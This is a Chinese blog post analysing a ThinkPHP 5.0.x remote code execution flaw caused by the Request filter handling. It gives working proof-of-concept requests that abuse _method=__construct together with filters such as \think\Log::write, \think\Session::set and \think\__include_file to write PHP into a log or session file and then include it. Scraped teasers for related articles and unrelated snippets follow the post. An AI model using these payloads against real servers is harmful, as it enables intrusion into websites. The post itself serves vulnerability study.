一。

tp5.0.0-5.0.12

这版本是直接可以利用的,无需captcha模块。

分析:thinkphp/library/think/App.php 中的run方法:

filter(方法就是给$request->filter属性赋值:

然后默认配置的值:

所以也就是不管用户是否设置,这里$request->filter属性都会被重置。这里其实是一点不影响整个漏洞的。

影响漏洞的在后面:

然后执行的:app::routeCheck->Route::check(

这里route->filter属性是被赋值了。

在tp>=5.0.13的代码以后:(5.0.12以前的版本,module(方法中,没有$request->filter($config['default_filter']);代码,所以不会导致我们设置的filter属性被覆盖。)

当没有captcha模块中的路由的时候会执行:

当存在captcha模块的时候会执行:

绑定路由到控制器,方法。手册:https://www.kancloud.cn/manual/thinkphp5/118037

漏洞利用:

为了兼容php7 这里选择的还是包含:

1.可以利用我上面文章中的办法:log类写入日志,lang类包含。

exp:

1.
http://localhost/ThinkPHP/tp507/public/index.php?xxx=<?php phpinfo();?>
POST: _method=__construct&filter=\think\Log::write&method=name
2.
http://localhost/ThinkPHP/tp507/public/index.php?xxx=../runtime/log/202003/17.log
POST: _method=__construct&filter=\think\Lang::load&method=name

这个方法就是可能因为日志内容过大,或者别人写入了<?php 这种东西而没有闭合导致包含失败。

2.也可以利用网上说的:包含session。

exp:

1.
http://localhost/ThinkPHP/tp507/public/index.php?xxx=<?php phpinfo();?>
POST:_method=__construct&filter=\think\Session::set&method=name
还需要设置一个cookie:PHPSESSID=aaaaa
2.
http://localhost/ThinkPHP/tp507/public/index.php?xxx=../../../../Extensions/tmp/tmp/sess_aaaaa
POST:_method=__construct&filter=\think\__include_file&method=name

这个方法有个问题就是需要获取到session储存的路径,在phpinfo中可以查看。

注:这里包含的时候,包含的参数一定要在第一位,如:

get的参数始终在前面:

tp >= 5.0.13 以后的版本,只有完整版才有captcha模块,所以只影响完整版。

Thinkphp5 由Request导致的RCE漏洞版本小结的更多相关文章

  1. ThinkPHP-5.0.23新的RCE漏洞测试和POC

    TP5新RCE漏洞 昨天又是周五,讨厌周五曝漏洞,还得又得加班,算了,还是先验证一波.新的TP5RCE,据说发现者因为上次的RCE,于是又审计了代码,结果发现的.TP5也成了万人轮啊. 测试 环境搭建 ...

  2. Joomla 3.0.0 - 3.4.6 RCE漏洞分析记录

    0x00  前言 今天早上看到了国内几家安全媒体发了Joomla RCE漏洞的预警,漏洞利用的EXP也在Github公开了.我大致看了一眼描述,觉得是个挺有意思的漏洞,因此有了这篇分析的文章,其实这个 ...

  3. 22.ThinkPHP5框架缺陷导致远程命令执行

    前言: 昨天爆出了ThinkPHP5框架缺陷导致远程命令执行,大佬们都赶上潮流挖洞,小白还是默默学习一下这个漏洞 漏洞影响范围: Thinkphp 5.1.0 - 5.1.31 Thinkphp 5. ...

  4. Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现

    Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现 一.漏洞描述 Joomla是一套内容管理系统,是使用PHP语言加上MYSQL数据库所开发的软件系统,最新版本为3.9.12,官网: ...

  5. thinkphp5.0.22远程代码执行漏洞分析及复现

    虽然网上已经有几篇公开的漏洞分析文章,但都是针对5.1版本的,而且看起来都比较抽象:我没有深入分析5.1版本,但看了下网上分析5.1版本漏洞的文章,发现虽然POC都是一样的,但它们的漏洞触发原因是不同 ...

  6. GitStack系统RCE漏洞学习

    漏洞简介 漏洞简情 漏洞程序 GitStack 影响版本 <=2.3.10 漏洞类型 RCE 漏洞评价 高危 漏洞编号 CVE-2018-5955 漏洞程序介绍 GitStack是一款基于Pyt ...

  7. WordPress插件Social Warfare<=3.5.2 无需登录RCE漏洞

    该漏洞只存在于Social Warfare插进的3.5.0.3.5.1和3.5.2版本中,其他版本不存在. 2019年3月21日插件作者紧急发布了3.5.3版本以修复高危的RCE漏洞,在<=3. ...

  8. Apache Solr Velocity模板注入RCE漏洞复现

    Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...

  9. Joomla框架搭建&远程代码执行(RCE)漏洞复现

    一.漏洞描述 Joomla是一套内容管理系统,是使用PHP语言加上MYSQL数据库所开发的软件系统,最新版本为3.9.8,官网: https://downloads.joomla.org/,漏洞位于根 ...

随机推荐

  1. Intellij IDEA设置

    代码格式化/保存时自动格式 搜索google-java-format 和 Save Actions,安装 保存时候// 自动空格 自动导包 自动换行

  2. java位运算符生产环境应用分析

    在实际应用场景中 特别是 1,2,4,8,16 这种2的整数次幂的数字,因为具有非常典型的特点 首先是 1.2.4 这几位数了,因为他们的特点就是二进制只有一个为 1 的位,其他位都是 0,并同其他数 ...

  3. POLARDB与其他关系型数据库对比

    https://baijiahao.baidu.com/s?id=1610828839695075926&wfr=spider&for=pc 前言 在数据库的选择上,MySQL成为中国 ...

  4. 自家公司关于git commit 的规范

    代码提交的commit info提个建议,fix的issue是哪个issue?都要有明确的链接.推荐方式:1.建立issue,说明问题的背景和原因.http://git.startdt.net/pay ...

  5. 2020DevOps状态报告——平台模型:扩展DevOps的新方法

    平台模型是我们在这个领域看到越来越多的方法,它源于负责产品或服务的端到端交付的产品团队的理念.如果只应用于单一的产品,或者几个产品,它的效果很好. 但如果有数百种产品或服务,把一个产品团队用于这些产品 ...

  6. 使用Pr压缩视频,增大音量

    视屏压缩(亲测有效教程):https://www.zhihu.com/question/67762625 音量增大(亲测有效教程):https://jingyan.baidu.com/article/ ...

  7. 【MyBatis】MyBatis 连接池和事务控制

    MyBatis 连接池和事务控制 文章源码 MyBaits 连接池 实际开发中都会使用连接池,因为它可以减少获取连接所消耗的时间.具体可查看 MyBatis 数据源配置在 SqlMapConfig.x ...

  8. LeetCode222 判断是否为完全二叉树并求节点个数

    给出一个完全二叉树,求出该树的节点个数. 说明: 完全二叉树的定义如下:在完全二叉树中,除了最底层节点可能没填满外,其余每层节点数都达到最大值,并且最下面一层的节点都集中在该层最左边的若干位置.若最底 ...

  9. ASP.NET Core错误处理中间件[2]: 开发者异常页面

    <呈现错误信息>通过几个简单的实例演示了如何呈现一个错误页面,该过程由3个对应的中间件来完成.下面先介绍用来呈现开发者异常页面的DeveloperExceptionPageMiddlewa ...

  10. 【Linux】linux rinetd 端口转发部署

    linux下简单好用的工具rinetd,实现端口映射/转发/重定向 Rinetd是为在一个Unix和Linux操作系统中为重定向传输控制协议(TCP)连接的一个工具.Rinetd是单一过程的服务器,它 ...